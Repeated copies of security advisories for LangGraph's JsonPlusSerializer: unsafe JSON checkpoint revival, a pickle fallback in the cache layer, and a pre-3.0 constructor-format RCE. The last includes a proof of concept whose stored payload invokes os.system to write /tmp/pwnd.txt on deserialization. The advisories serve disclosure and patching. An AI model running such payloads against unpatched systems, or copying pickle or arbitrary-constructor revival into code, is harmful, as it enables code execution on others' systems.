LangGraph's JsonPlusSerializer can reconstruct Python objects from JSON checkpoint payloads. Under conditions where someone could modify checkpoint bytes at rest in the backing store, the deserialization path could reconstruct objects beyond what the application expects, which could in turn result in code execution at checkpoint load time.

This is a defense-in-depth issue. The affected behavior is reachable only when checkpoint bytes at rest in the backing store can be modified by an unauthorized party. In most deployments that prerequisite already implies a serious incident; the additional concern is turning "checkpoint-store write access" into code execution in the application runtime.

There is no evidence of this behavior being triggered in the wild, and the team is not aware of a practical path to it in existing deployments today. This change is intended to reduce the surface available after a checkpoint-store incident.

Affected users / systems

Users may be affected if they:

• use a persistent checkpointer (database, remote store, shared filesystem, etc.) with the default JsonPlusSerializer,
• load/resume from checkpoints, and
• operate in an environment where write access to the checkpoint store could be obtained by an unauthorized party.

The default checkpoint serializer in all shipped checkpointer backends (PostgresSaver, SqliteSaver, and their async counterparts) is JsonPlusSerializer, so applications generally do not need to opt in to be in scope.

Impact

• Potential arbitrary code execution or other unsafe side effects during checkpoint deserialization.
• Escalation from "write access to the checkpoint store" to "code execution in the LangGraph worker process," which may expose runtime secrets or provide access to other systems the runtime can reach.

Patches / mitigation

The JSON deserialization path has been narrowed so that revival is restricted to default-constructor reconstruction using the args/kwargs carried in the payload. The framework's own encoder has not relied on the removed behavior for produced checkpoints since the msgpack migration, so this change does not affect freshly written checkpoints. Legacy payloads that already used the default constructor as their first option continue to revive correctly via that same path.

Compatibility

A narrow legacy-resume regression applies to pre-October-2025 checkpoints of pydantic models where the original payload depended on a no-validation fallback factory to recover from incompatible schema evolution. After this change, such payloads return None from the revival path and fall through to the langchain-core reviver, which surfaces the raw dict rather than reconstructing the model.

Operational guidance

• Treat checkpoint stores as integrity-sensitive. Restrict write access and rotate credentials if unauthorized access is suspected.
• Avoid providing custom JSON revival hooks that reconstruct arbitrary types unless checkpoint data is fully trusted.

LangSmith / hosted deployments note

The team is not aware of this issue presenting concern for existing LangSmith-hosted deployments. The described conditions require modification of the checkpoint persistence layer used by the deployment; typical hosted configurations are designed to prevent such access.

First reported by: pucagit (CyStack).

Context

A Remote Code Execution vulnerability exists in LangGraph's caching layer when applications enable cache backends that inherit from BaseCache and opt nodes into caching via CachePolicy. Prior to langgraph-checkpoint 4.0.0, BaseCache defaults to JsonPlusSerializer(pickle_fallback=True). When msgpack serialization fails, cached values can be deserialized via pickle.loads(...).

Who is affected?

Caching is not enabled by default. Applications are affected only when:

• The application explicitly enables a cache backend (for example by passing cache=... to StateGraph.compile(...) or otherwise configuring a BaseCache implementation)
• One or more nodes opt into caching via CachePolicy
• The attacker can write to the cache backend (for example a network-accessible Redis instance with weak/no auth, shared cache infrastructure reachable by other tenants/services, or a writable SQLite cache file)

Example (enabling a cache backend and opting a node into caching):

from langgraph.cache.memory import InMemoryCache
from langgraph.graph import StateGraph
from langgraph.types import CachePolicy


def my_node(state: dict) -> dict:
    return {"value": state.get("value", 0) + 1}


builder = StateGraph(dict)
builder.add_node("my_node", my_node, cache_policy=CachePolicy(ttl=120))
builder.set_entry_point("my_node")

graph = builder.compile(cache=InMemoryCache())

result = graph.invoke({"value": 1})

With pickle_fallback=True, when msgpack serialization fails, JsonPlusSerializer can fall back to storing values as a ("pickle", <bytes>) tuple and later deserialize them via pickle.loads(...). If an attacker can place a malicious pickle payload into the cache backend such that the LangGraph process reads and deserializes it, this can lead to arbitrary code execution.

Exploitation requires attacker write access to the cache backend. The serializer is not exposed as a network-facing API.

This is fixed in langgraph-checkpoint>=4.0.0 by disabling pickle fallback by default (pickle_fallback=False).

Impact

Arbitrary code execution in the LangGraph process when attacker-controlled cache entries are deserialized.

Root Cause

• BaseCache default serializer configuration inherited by cache implementations (InMemoryCache, RedisCache, SqliteCache):

  • libs/checkpoint/langgraph/cache/base/__init__.py (pre-fix default: JsonPlusSerializer(pickle_fallback=True))

• JsonPlusSerializer deserialization sink:

  • libs/checkpoint/langgraph/checkpoint/serde/jsonplus.py
  • loads_typed(...) calls pickle.loads(data_) when type_ == "pickle" and pickle fallback is enabled

Attack preconditions

An attacker must be able to write attacker-controlled bytes into the cache backend such that the LangGraph process later reads and deserializes them.

This typically requires write access to a networked cache (for example a network-accessible Redis instance with weak/no auth or shared cache infrastructure reachable by other tenants/services) or write access to local cache storage (for example a writable SQLite cache file via permissive file permissions or a shared writable volume).

Because exploitation requires write access to the cache storage layer, this is a post-compromise / post-access escalation vector.

Remediation

• Upgrade to langgraph-checkpoint>=4.0.0.

Resources

• ZDI-CAN-28385
• Patch: https://github.com/langchain-ai/langgraph/pull/6677
• Patch diff: https://patch-diff.githubusercontent.com/raw/langchain-ai/langgraph/pull/6677.patch
• Credit: Peter Girnus (@gothburz), Demeng Chen, and Brandon Niemczyk (Trend Micro Zero Day Initiative)

Summary

LangGraph's JsonPlusSerializer can reconstruct Python objects from JSON checkpoint payloads. Under conditions where someone could modify checkpoint bytes at rest in the backing store, the deserialization path could reconstruct objects beyond what the application expects, which could in turn result in code execution at checkpoint load time.

This is a defense-in-depth issue. The affected behavior is reachable only when checkpoint bytes at rest in the backing store can be modified by an unauthorized party. In most deployments that prerequisite already implies a serious incident; the additional concern is turning "checkpoint-store write access" into code execution in the application runtime.

There is no evidence of this behavior being triggered in the wild, and the team is not aware of a practical path to it in existing deployments today. This change is intended to reduce the surface available after a checkpoint-store incident.

Affected users / systems

Users may be affected if they:

• use a persistent checkpointer (database, remote store, shared filesystem, etc.) with the default JsonPlusSerializer,
• load/resume from checkpoints, and
• operate in an environment where write access to the checkpoint store could be obtained by an unauthorized party.

The default checkpoint serializer in all shipped checkpointer backends (PostgresSaver, SqliteSaver, and their async counterparts) is JsonPlusSerializer, so applications generally do not need to opt in to be in scope.

Impact

• Potential arbitrary code execution or other unsafe side effects during checkpoint deserialization.
• Escalation from "write access to the checkpoint store" to "code execution in the LangGraph worker process," which may expose runtime secrets or provide access to other systems the runtime can reach.

Patches / mitigation

The JSON deserialization path has been narrowed so that revival is restricted to default-constructor reconstruction using the args/kwargs carried in the payload. The framework's own encoder has not relied on the removed behavior for produced checkpoints since the msgpack migration, so this change does not affect freshly written checkpoints. Legacy payloads that already used the default constructor as their first option continue to revive correctly via that same path.

Compatibility

A narrow legacy-resume regression applies to pre-October-2025 checkpoints of pydantic models where the original payload depended on a no-validation fallback factory to recover from incompatible schema evolution. After this change, such payloads return None from the revival path and fall through to the langchain-core reviver, which surfaces the raw dict rather than reconstructing the model.

Operational guidance

• Treat checkpoint stores as integrity-sensitive. Restrict write access and rotate credentials if unauthorized access is suspected.
• Avoid providing custom JSON revival hooks that reconstruct arbitrary types unless checkpoint data is fully trusted.

LangSmith / hosted deployments note

The team is not aware of this issue presenting concern for existing LangSmith-hosted deployments. The described conditions require modification of the checkpoint persistence layer used by the deployment; typical hosted configurations are designed to prevent such access.

First reported by: pucagit (CyStack).

Context

A Remote Code Execution vulnerability exists in LangGraph's caching layer when applications enable cache backends that inherit from BaseCache and opt nodes into caching via CachePolicy. Prior to langgraph-checkpoint 4.0.0, BaseCache defaults to JsonPlusSerializer(pickle_fallback=True). When msgpack serialization fails, cached values can be deserialized via pickle.loads(...).

Who is affected?

Caching is not enabled by default. Applications are affected only when:

• The application explicitly enables a cache backend (for example by passing cache=... to StateGraph.compile(...) or otherwise configuring a BaseCache implementation)
• One or more nodes opt into caching via CachePolicy
• The attacker can write to the cache backend (for example a network-accessible Redis instance with weak/no auth, shared cache infrastructure reachable by other tenants/services, or a writable SQLite cache file)

Example (enabling a cache backend and opting a node into caching):

from langgraph.cache.memory import InMemoryCache
from langgraph.graph import StateGraph
from langgraph.types import CachePolicy


def my_node(state: dict) -> dict:
    return {"value": state.get("value", 0) + 1}


builder = StateGraph(dict)
builder.add_node("my_node", my_node, cache_policy=CachePolicy(ttl=120))
builder.set_entry_point("my_node")

graph = builder.compile(cache=InMemoryCache())

result = graph.invoke({"value": 1})

With pickle_fallback=True, when msgpack serialization fails, JsonPlusSerializer can fall back to storing values as a ("pickle", <bytes>) tuple and later deserialize them via pickle.loads(...). If an attacker can place a malicious pickle payload into the cache backend such that the LangGraph process reads and deserializes it, this can lead to arbitrary code execution.

Exploitation requires attacker write access to the cache backend. The serializer is not exposed as a network-facing API.

This is fixed in langgraph-checkpoint>=4.0.0 by disabling pickle fallback by default (pickle_fallback=False).

Impact

Arbitrary code execution in the LangGraph process when attacker-controlled cache entries are deserialized.

Root Cause

• BaseCache default serializer configuration inherited by cache implementations (InMemoryCache, RedisCache, SqliteCache):

  • libs/checkpoint/langgraph/cache/base/__init__.py (pre-fix default: JsonPlusSerializer(pickle_fallback=True))

• JsonPlusSerializer deserialization sink:

  • libs/checkpoint/langgraph/checkpoint/serde/jsonplus.py
  • loads_typed(...) calls pickle.loads(data_) when type_ == "pickle" and pickle fallback is enabled

Attack preconditions

An attacker must be able to write attacker-controlled bytes into the cache backend such that the LangGraph process later reads and deserializes them.

This typically requires write access to a networked cache (for example a network-accessible Redis instance with weak/no auth or shared cache infrastructure reachable by other tenants/services) or write access to local cache storage (for example a writable SQLite cache file via permissive file permissions or a shared writable volume).

Because exploitation requires write access to the cache storage layer, this is a post-compromise / post-access escalation vector.

Remediation

• Upgrade to langgraph-checkpoint>=4.0.0.

Resources

• ZDI-CAN-28385
• Patch: https://github.com/langchain-ai/langgraph/pull/6677
• Patch diff: https://patch-diff.githubusercontent.com/raw/langchain-ai/langgraph/pull/6677.patch
• Credit: Peter Girnus (@gothburz), Demeng Chen, and Brandon Niemczyk (Trend Micro Zero Day Initiative)

Summary

Prior to langgraph-checkpoint version 3.0 , LangGraph’s JsonPlusSerializer (used as the default serialization protocol for all checkpointing) contains a remote code execution (RCE) vulnerability when deserializing payloads saved in the "json" serialization mode.

If an attacker can cause your application to persist a payload serialized in this mode, they may be able to also send malicious content that executes arbitrary Python code during deserialization.

Upgrading to version langgraph-checkpoint 3.0 patches this vulnerability by preventing deserialization of custom objects saved in this mode.

If you are deploying in langgraph-api, any version 0.5 or later is also free of this vulnerability.

Details

Affected file / component

jsonplus.py

By default, the serializer attempts to use "msgpack" for serialization. However, prior to version 3.0 of the checkpointer library, if illegal Unicode surrogate values caused serialization to fail, it would fall back to using the "json" mode.

When operating in this mode, the deserializer supports a constructor-style format (lc == 2, type == "constructor") for custom objects to allow them to be reconstructed at load time. If an attacker is able to trigger this mode with a malicious payload, deserializing allow the attacker to execute arbitrary functions upon load.

Who is affected

This issue affects all users of langgraph-checkpoint versions earlier than 3.0 who:

1. Allow untrusted or user-supplied data to be persisted into checkpoints, and
2. Use the default serializer (or explicitly instantiate JsonPlusSerializer) that may fall back to "json" mode.

If your application only processes trusted data or does not allow untrusted checkpoint writes, the practical risk is reduced.

Proof of Concept (PoC)

from langgraph.graph import StateGraph 
from typing import TypedDict
from langgraph.checkpoint.sqlite import SqliteSaver

class State(TypedDict):
    foo: str
    attack: dict

def my_node(state: State):
    return {"foo": "oops i fetched a surrogate \ud800"}

with SqliteSaver.from_conn_string("foo.db") as saver:
    graph = (
	    StateGraph(State).
	    add_node("my_node", my_node).
	    add_edge("__start__", "my_node").
	    compile(checkpointer=saver)
	 )
    

    attack = {
        "lc": 2,
        "type": "constructor",
        "id": ["os", "system"],
        "kwargs": {"command": "echo pwnd you > /tmp/pwnd.txt"},
    }
    malicious_payload = {
         "attack": attack,
    }

    thread_id = "00000000-0000-0000-0000-000000000001"
    config = {"thread_id": thread_id}
    # Malicious payload is saved in the first call
    graph.invoke(malicious_payload, config=config)

    # Malicious payload is deserialized and code is executed in the second call
    graph.invoke({"foo": "hi there"}, config=config)

Running this PoC writes a file /tmp/pwnd.txt to disk, demonstrating code execution.

Internally, this exploits the following code path:

from langgraph.checkpoint.serde.jsonplus import JsonPlusSerializer

serializer = JsonPlusSerializer() # Used within the checkpointer

serialized = serializer.dumps_typed(malicious_payload)
serializer.loads_typed(serialized)  # Executes os.system(...)

Fixed Version

The vulnerability is fixed in langgraph-checkpoint==3.0.0

Release link: https://github.com/langchain-ai/langgraph/releases/tag/checkpoint%3D%3D3.0.0

Fix Description

The fix introduces an allow-list for constructor deserialization, restricting permissible "id" paths to explicitly approved module/class combinations provided at serializer construction.

Additionally, saving payloads in "json" format has been deprecated to remove this unsafe fallback path.

Mitigation

Upgrade immediately to langgraph-checkpoint==3.0.0.

This version is fully compatible with langgraph>=0.3 and does not require any import changes or code modifications.

In langgraph-api, updating to 0.5 or later will automatically require the patched version of the checkpointer library.

Summary

LangGraph's JsonPlusSerializer can reconstruct Python objects from JSON checkpoint payloads. Under conditions where someone could modify checkpoint bytes at rest in the backing store, the deserialization path could reconstruct objects beyond what the application expects, which could in turn result in code execution at checkpoint load time.

This is a defense-in-depth issue. The affected behavior is reachable only when checkpoint bytes at rest in the backing store can be modified by an unauthorized party. In most deployments that prerequisite already implies a serious incident; the additional concern is turning "checkpoint-store write access" into code execution in the application runtime.

There is no evidence of this behavior being triggered in the wild, and the team is not aware of a practical path to it in existing deployments today. This change is intended to reduce the surface available after a checkpoint-store incident.

Affected users / systems

Users may be affected if they:

• use a persistent checkpointer (database, remote store, shared filesystem, etc.) with the default JsonPlusSerializer,
• load/resume from checkpoints, and
• operate in an environment where write access to the checkpoint store could be obtained by an unauthorized party.

The default checkpoint serializer in all shipped checkpointer backends (PostgresSaver, SqliteSaver, and their async counterparts) is JsonPlusSerializer, so applications generally do not need to opt in to be in scope.

Impact

• Potential arbitrary code execution or other unsafe side effects during checkpoint deserialization.
• Escalation from "write access to the checkpoint store" to "code execution in the LangGraph worker process," which may expose runtime secrets or provide access to other systems the runtime can reach.

Patches / mitigation

The JSON deserialization path has been narrowed so that revival is restricted to default-constructor reconstruction using the args/kwargs carried in the payload. The framework's own encoder has not relied on the removed behavior for produced checkpoints since the msgpack migration, so this change does not affect freshly written checkpoints. Legacy payloads that already used the default constructor as their first option continue to revive correctly via that same path.

Compatibility

A narrow legacy-resume regression applies to pre-October-2025 checkpoints of pydantic models where the original payload depended on a no-validation fallback factory to recover from incompatible schema evolution. After this change, such payloads return None from the revival path and fall through to the langchain-core reviver, which surfaces the raw dict rather than reconstructing the model.

Operational guidance

• Treat checkpoint stores as integrity-sensitive. Restrict write access and rotate credentials if unauthorized access is suspected.
• Avoid providing custom JSON revival hooks that reconstruct arbitrary types unless checkpoint data is fully trusted.

LangSmith / hosted deployments note

The team is not aware of this issue presenting concern for existing LangSmith-hosted deployments. The described conditions require modification of the checkpoint persistence layer used by the deployment; typical hosted configurations are designed to prevent such access.

First reported by: pucagit (CyStack).

Context

A Remote Code Execution vulnerability exists in LangGraph's caching layer when applications enable cache backends that inherit from BaseCache and opt nodes into caching via CachePolicy. Prior to langgraph-checkpoint 4.0.0, BaseCache defaults to JsonPlusSerializer(pickle_fallback=True). When msgpack serialization fails, cached values can be deserialized via pickle.loads(...).

Who is affected?

Caching is not enabled by default. Applications are affected only when:

• The application explicitly enables a cache backend (for example by passing cache=... to StateGraph.compile(...) or otherwise configuring a BaseCache implementation)
• One or more nodes opt into caching via CachePolicy
• The attacker can write to the cache backend (for example a network-accessible Redis instance with weak/no auth, shared cache infrastructure reachable by other tenants/services, or a writable SQLite cache file)

Example (enabling a cache backend and opting a node into caching):

from langgraph.cache.memory import InMemoryCache
from langgraph.graph import StateGraph
from langgraph.types import CachePolicy


def my_node(state: dict) -> dict:
    return {"value": state.get("value", 0) + 1}


builder = StateGraph(dict)
builder.add_node("my_node", my_node, cache_policy=CachePolicy(ttl=120))
builder.set_entry_point("my_node")

graph = builder.compile(cache=InMemoryCache())

result = graph.invoke({"value": 1})

With pickle_fallback=True, when msgpack serialization fails, JsonPlusSerializer can fall back to storing values as a ("pickle", <bytes>) tuple and later deserialize them via pickle.loads(...). If an attacker can place a malicious pickle payload into the cache backend such that the LangGraph process reads and deserializes it, this can lead to arbitrary code execution.

Exploitation requires attacker write access to the cache backend. The serializer is not exposed as a network-facing API.

This is fixed in langgraph-checkpoint>=4.0.0 by disabling pickle fallback by default (pickle_fallback=False).

Impact

Arbitrary code execution in the LangGraph process when attacker-controlled cache entries are deserialized.

Root Cause

• BaseCache default serializer configuration inherited by cache implementations (InMemoryCache, RedisCache, SqliteCache):

  • libs/checkpoint/langgraph/cache/base/__init__.py (pre-fix default: JsonPlusSerializer(pickle_fallback=True))

• JsonPlusSerializer deserialization sink:

  • libs/checkpoint/langgraph/checkpoint/serde/jsonplus.py
  • loads_typed(...) calls pickle.loads(data_) when type_ == "pickle" and pickle fallback is enabled

Attack preconditions

An attacker must be able to write attacker-controlled bytes into the cache backend such that the LangGraph process later reads and deserializes them.

This typically requires write access to a networked cache (for example a network-accessible Redis instance with weak/no auth or shared cache infrastructure reachable by other tenants/services) or write access to local cache storage (for example a writable SQLite cache file via permissive file permissions or a shared writable volume).

Because exploitation requires write access to the cache storage layer, this is a post-compromise / post-access escalation vector.

Remediation

• Upgrade to langgraph-checkpoint>=4.0.0.

Resources

• ZDI-CAN-28385
• Patch: https://github.com/langchain-ai/langgraph/pull/6677
• Patch diff: https://patch-diff.githubusercontent.com/raw/langchain-ai/langgraph/pull/6677.patch
• Credit: Peter Girnus (@gothburz), Demeng Chen, and Brandon Niemczyk (Trend Micro Zero Day Initiative)

Summary

Prior to langgraph-checkpoint version 3.0 , LangGraph’s JsonPlusSerializer (used as the default serialization protocol for all checkpointing) contains a remote code execution (RCE) vulnerability when deserializing payloads saved in the "json" serialization mode.

If an attacker can cause your application to persist a payload serialized in this mode, they may be able to also send malicious content that executes arbitrary Python code during deserialization.

Upgrading to version langgraph-checkpoint 3.0 patches this vulnerability by preventing deserialization of custom objects saved in this mode.

If you are deploying in langgraph-api, any version 0.5 or later is also free of this vulnerability.

Details

Affected file / component

jsonplus.py

By default, the serializer attempts to use "msgpack" for serialization. However, prior to version 3.0 of the checkpointer library, if illegal Unicode surrogate values caused serialization to fail, it would fall back to using the "json" mode.

When operating in this mode, the deserializer supports a constructor-style format (lc == 2, type == "constructor") for custom objects to allow them to be reconstructed at load time. If an attacker is able to trigger this mode with a malicious payload, deserializing allow the attacker to execute arbitrary functions upon load.

Who is affected

This issue affects all users of langgraph-checkpoint versions earlier than 3.0 who:

1. Allow untrusted or user-supplied data to be persisted into checkpoints, and
2. Use the default serializer (or explicitly instantiate JsonPlusSerializer) that may fall back to "json" mode.

If your application only processes trusted data or does not allow untrusted checkpoint writes, the practical risk is reduced.

Proof of Concept (PoC)

from langgraph.graph import StateGraph 
from typing import TypedDict
from langgraph.checkpoint.sqlite import SqliteSaver

class State(TypedDict):
    foo: str
    attack: dict

def my_node(state: State):
    return {"foo": "oops i fetched a surrogate \ud800"}

with SqliteSaver.from_conn_string("foo.db") as saver:
    graph = (
	    StateGraph(State).
	    add_node("my_node", my_node).
	    add_edge("__start__", "my_node").
	    compile(checkpointer=saver)
	 )
    

    attack = {
        "lc": 2,
        "type": "constructor",
        "id": ["os", "system"],
        "kwargs": {"command": "echo pwnd you > /tmp/pwnd.txt"},
    }
    malicious_payload = {
         "attack": attack,
    }

    thread_id = "00000000-0000-0000-0000-000000000001"
    config = {"thread_id": thread_id}
    # Malicious payload is saved in the first call
    graph.invoke(malicious_payload, config=config)

    # Malicious payload is deserialized and code is executed in the second call
    graph.invoke({"foo": "hi there"}, config=config)

Running this PoC writes a file /tmp/pwnd.txt to disk, demonstrating code execution.

Internally, this exploits the following code path:

from langgraph.checkpoint.serde.jsonplus import JsonPlusSerializer

serializer = JsonPlusSerializer() # Used within the checkpointer

serialized = serializer.dumps_typed(malicious_payload)
serializer.loads_typed(serialized)  # Executes os.system(...)

Fixed Version

The vulnerability is fixed in langgraph-checkpoint==3.0.0

Release link: https://github.com/langchain-ai/langgraph/releases/tag/checkpoint%3D%3D3.0.0

Fix Description

The fix introduces an allow-list for constructor deserialization, restricting permissible "id" paths to explicitly approved module/class combinations provided at serializer construction.

Additionally, saving payloads in "json" format has been deprecated to remove this unsafe fallback path.

Mitigation

Upgrade immediately to langgraph-checkpoint==3.0.0.

This version is fully compatible with langgraph>=0.3 and does not require any import changes or code modifications.

In langgraph-api, updating to 0.5 or later will automatically require the patched version of the checkpointer library.

Summary

LangGraph's JsonPlusSerializer can reconstruct Python objects from JSON checkpoint payloads. Under conditions where someone could modify checkpoint bytes at rest in the backing store, the deserialization path could reconstruct objects beyond what the application expects, which could in turn result in code execution at checkpoint load time.

This is a defense-in-depth issue. The affected behavior is reachable only when checkpoint bytes at rest in the backing store can be modified by an unauthorized party. In most deployments that prerequisite already implies a serious incident; the additional concern is turning "checkpoint-store write access" into code execution in the application runtime.

There is no evidence of this behavior being triggered in the wild, and the team is not aware of a practical path to it in existing deployments today. This change is intended to reduce the surface available after a checkpoint-store incident.

Affected users / systems

Users may be affected if they:

• use a persistent checkpointer (database, remote store, shared filesystem, etc.) with the default JsonPlusSerializer,
• load/resume from checkpoints, and
• operate in an environment where write access to the checkpoint store could be obtained by an unauthorized party.

The default checkpoint serializer in all shipped checkpointer backends (PostgresSaver, SqliteSaver, and their async counterparts) is JsonPlusSerializer, so applications generally do not need to opt in to be in scope.

Impact

• Potential arbitrary code execution or other unsafe side effects during checkpoint deserialization.
• Escalation from "write access to the checkpoint store" to "code execution in the LangGraph worker process," which may expose runtime secrets or provide access to other systems the runtime can reach.

Patches / mitigation

The JSON deserialization path has been narrowed so that revival is restricted to default-constructor reconstruction using the args/kwargs carried in the payload. The framework's own encoder has not relied on the removed behavior for produced checkpoints since the msgpack migration, so this change does not affect freshly written checkpoints. Legacy payloads that already used the default constructor as their first option continue to revive correctly via that same path.

Compatibility

A narrow legacy-resume regression applies to pre-October-2025 checkpoints of pydantic models where the original payload depended on a no-validation fallback factory to recover from incompatible schema evolution. After this change, such payloads return None from the revival path and fall through to the langchain-core reviver, which surfaces the raw dict rather than reconstructing the model.

Operational guidance

• Treat checkpoint stores as integrity-sensitive. Restrict write access and rotate credentials if unauthorized access is suspected.
• Avoid providing custom JSON revival hooks that reconstruct arbitrary types unless checkpoint data is fully trusted.

LangSmith / hosted deployments note

The team is not aware of this issue presenting concern for existing LangSmith-hosted deployments. The described conditions require modification of the checkpoint persistence layer used by the deployment; typical hosted configurations are designed to prevent such access.

First reported by: pucagit (CyStack).

Context

A Remote Code Execution vulnerability exists in LangGraph's caching layer when applications enable cache backends that inherit from BaseCache and opt nodes into caching via CachePolicy. Prior to langgraph-checkpoint 4.0.0, BaseCache defaults to JsonPlusSerializer(pickle_fallback=True). When msgpack serialization fails, cached values can be deserialized via pickle.loads(...).

Who is affected?

Caching is not enabled by default. Applications are affected only when:

• The application explicitly enables a cache backend (for example by passing cache=... to StateGraph.compile(...) or otherwise configuring a BaseCache implementation)
• One or more nodes opt into caching via CachePolicy
• The attacker can write to the cache backend (for example a network-accessible Redis instance with weak/no auth, shared cache infrastructure reachable by other tenants/services, or a writable SQLite cache file)

Example (enabling a cache backend and opting a node into caching):

from langgraph.cache.memory import InMemoryCache
from langgraph.graph import StateGraph
from langgraph.types import CachePolicy


def my_node(state: dict) -> dict:
    return {"value": state.get("value", 0) + 1}


builder = StateGraph(dict)
builder.add_node("my_node", my_node, cache_policy=CachePolicy(ttl=120))
builder.set_entry_point("my_node")

graph = builder.compile(cache=InMemoryCache())

result = graph.invoke({"value": 1})

With pickle_fallback=True, when msgpack serialization fails, JsonPlusSerializer can fall back to storing values as a ("pickle", <bytes>) tuple and later deserialize them via pickle.loads(...). If an attacker can place a malicious pickle payload into the cache backend such that the LangGraph process reads and deserializes it, this can lead to arbitrary code execution.

Exploitation requires attacker write access to the cache backend. The serializer is not exposed as a network-facing API.

This is fixed in langgraph-checkpoint>=4.0.0 by disabling pickle fallback by default (pickle_fallback=False).

Impact

Arbitrary code execution in the LangGraph process when attacker-controlled cache entries are deserialized.

Root Cause

• BaseCache default serializer configuration inherited by cache implementations (InMemoryCache, RedisCache, SqliteCache):

  • libs/checkpoint/langgraph/cache/base/__init__.py (pre-fix default: JsonPlusSerializer(pickle_fallback=True))

• JsonPlusSerializer deserialization sink:

  • libs/checkpoint/langgraph/checkpoint/serde/jsonplus.py
  • loads_typed(...) calls pickle.loads(data_) when type_ == "pickle" and pickle fallback is enabled

Attack preconditions

An attacker must be able to write attacker-controlled bytes into the cache backend such that the LangGraph process later reads and deserializes them.

This typically requires write access to a networked cache (for example a network-accessible Redis instance with weak/no auth or shared cache infrastructure reachable by other tenants/services) or write access to local cache storage (for example a writable SQLite cache file via permissive file permissions or a shared writable volume).

Because exploitation requires write access to the cache storage layer, this is a post-compromise / post-access escalation vector.

Remediation

• Upgrade to langgraph-checkpoint>=4.0.0.

Resources

• ZDI-CAN-28385
• Patch: https://github.com/langchain-ai/langgraph/pull/6677
• Patch diff: https://patch-diff.githubusercontent.com/raw/langchain-ai/langgraph/pull/6677.patch
• Credit: Peter Girnus (@gothburz), Demeng Chen, and Brandon Niemczyk (Trend Micro Zero Day Initiative)

Summary

Prior to langgraph-checkpoint version 3.0 , LangGraph’s JsonPlusSerializer (used as the default serialization protocol for all checkpointing) contains a remote code execution (RCE) vulnerability when deserializing payloads saved in the "json" serialization mode.

If an attacker can cause your application to persist a payload serialized in this mode, they may be able to also send malicious content that executes arbitrary Python code during deserialization.

Upgrading to version langgraph-checkpoint 3.0 patches this vulnerability by preventing deserialization of custom objects saved in this mode.

If you are deploying in langgraph-api, any version 0.5 or later is also free of this vulnerability.

Details

Affected file / component

jsonplus.py

By default, the serializer attempts to use "msgpack" for serialization. However, prior to version 3.0 of the checkpointer library, if illegal Unicode surrogate values caused serialization to fail, it would fall back to using the "json" mode.

When operating in this mode, the deserializer supports a constructor-style format (lc == 2, type == "constructor") for custom objects to allow them to be reconstructed at load time. If an attacker is able to trigger this mode with a malicious payload, deserializing allow the attacker to execute arbitrary functions upon load.

Who is affected

This issue affects all users of langgraph-checkpoint versions earlier than 3.0 who:

1. Allow untrusted or user-supplied data to be persisted into checkpoints, and
2. Use the default serializer (or explicitly instantiate JsonPlusSerializer) that may fall back to "json" mode.

If your application only processes trusted data or does not allow untrusted checkpoint writes, the practical risk is reduced.

Proof of Concept (PoC)

from langgraph.graph import StateGraph 
from typing import TypedDict
from langgraph.checkpoint.sqlite import SqliteSaver

class State(TypedDict):
    foo: str
    attack: dict

def my_node(state: State):
    return {"foo": "oops i fetched a surrogate \ud800"}

with SqliteSaver.from_conn_string("foo.db") as saver:
    graph = (
	    StateGraph(State).
	    add_node("my_node", my_node).
	    add_edge("__start__", "my_node").
	    compile(checkpointer=saver)
	 )
    

    attack = {
        "lc": 2,
        "type": "constructor",
        "id": ["os", "system"],
        "kwargs": {"command": "echo pwnd you > /tmp/pwnd.txt"},
    }
    malicious_payload = {
         "attack": attack,
    }

    thread_id = "00000000-0000-0000-0000-000000000001"
    config = {"thread_id": thread_id}
    # Malicious payload is saved in the first call
    graph.invoke(malicious_payload, config=config)

    # Malicious payload is deserialized and code is executed in the second call
    graph.invoke({"foo": "hi there"}, config=config)

Running this PoC writes a file /tmp/pwnd.txt to disk, demonstrating code execution.

Internally, this exploits the following code path:

from langgraph.checkpoint.serde.jsonplus import JsonPlusSerializer

serializer = JsonPlusSerializer() # Used within the checkpointer

serialized = serializer.dumps_typed(malicious_payload)
serializer.loads_typed(serialized)  # Executes os.system(...)

Fixed Version

The vulnerability is fixed in langgraph-checkpoint==3.0.0

Release link: https://github.com/langchain-ai/langgraph/releases/tag/checkpoint%3D%3D3.0.0

Fix Description

The fix introduces an allow-list for constructor deserialization, restricting permissible "id" paths to explicitly approved module/class combinations provided at serializer construction.

Additionally, saving payloads in "json" format has been deprecated to remove this unsafe fallback path.

Mitigation

Upgrade immediately to langgraph-checkpoint==3.0.0.

This version is fully compatible with langgraph>=0.3 and does not require any import changes or code modifications.

In langgraph-api, updating to 0.5 or later will automatically require the patched version of the checkpointer library.

Summary

LangGraph's JsonPlusSerializer can reconstruct Python objects from JSON checkpoint payloads. Under conditions where someone could modify checkpoint bytes at rest in the backing store, the deserialization path could reconstruct objects beyond what the application expects, which could in turn result in code execution at checkpoint load time.

This is a defense-in-depth issue. The affected behavior is reachable only when checkpoint bytes at rest in the backing store can be modified by an unauthorized party. In most deployments that prerequisite already implies a serious incident; the additional concern is turning "checkpoint-store write access" into code execution in the application runtime.

There is no evidence of this behavior being triggered in the wild, and the team is not aware of a practical path to it in existing deployments today. This change is intended to reduce the surface available after a checkpoint-store incident.

Affected users / systems

Users may be affected if they:

• use a persistent checkpointer (database, remote store, shared filesystem, etc.) with the default JsonPlusSerializer,
• load/resume from checkpoints, and
• operate in an environment where write access to the checkpoint store could be obtained by an unauthorized party.

The default checkpoint serializer in all shipped checkpointer backends (PostgresSaver, SqliteSaver, and their async counterparts) is JsonPlusSerializer, so applications generally do not need to opt in to be in scope.

Impact

• Potential arbitrary code execution or other unsafe side effects during checkpoint deserialization.
• Escalation from "write access to the checkpoint store" to "code execution in the LangGraph worker process," which may expose runtime secrets or provide access to other systems the runtime can reach.

Patches / mitigation

The JSON deserialization path has been narrowed so that revival is restricted to default-constructor reconstruction using the args/kwargs carried in the payload. The framework's own encoder has not relied on the removed behavior for produced checkpoints since the msgpack migration, so this change does not affect freshly written checkpoints. Legacy payloads that already used the default constructor as their first option continue to revive correctly via that same path.

Compatibility

A narrow legacy-resume regression applies to pre-October-2025 checkpoints of pydantic models where the original payload depended on a no-validation fallback factory to recover from incompatible schema evolution. After this change, such payloads return None from the revival path and fall through to the langchain-core reviver, which surfaces the raw dict rather than reconstructing the model.

Operational guidance

• Treat checkpoint stores as integrity-sensitive. Restrict write access and rotate credentials if unauthorized access is suspected.
• Avoid providing custom JSON revival hooks that reconstruct arbitrary types unless checkpoint data is fully trusted.

LangSmith / hosted deployments note

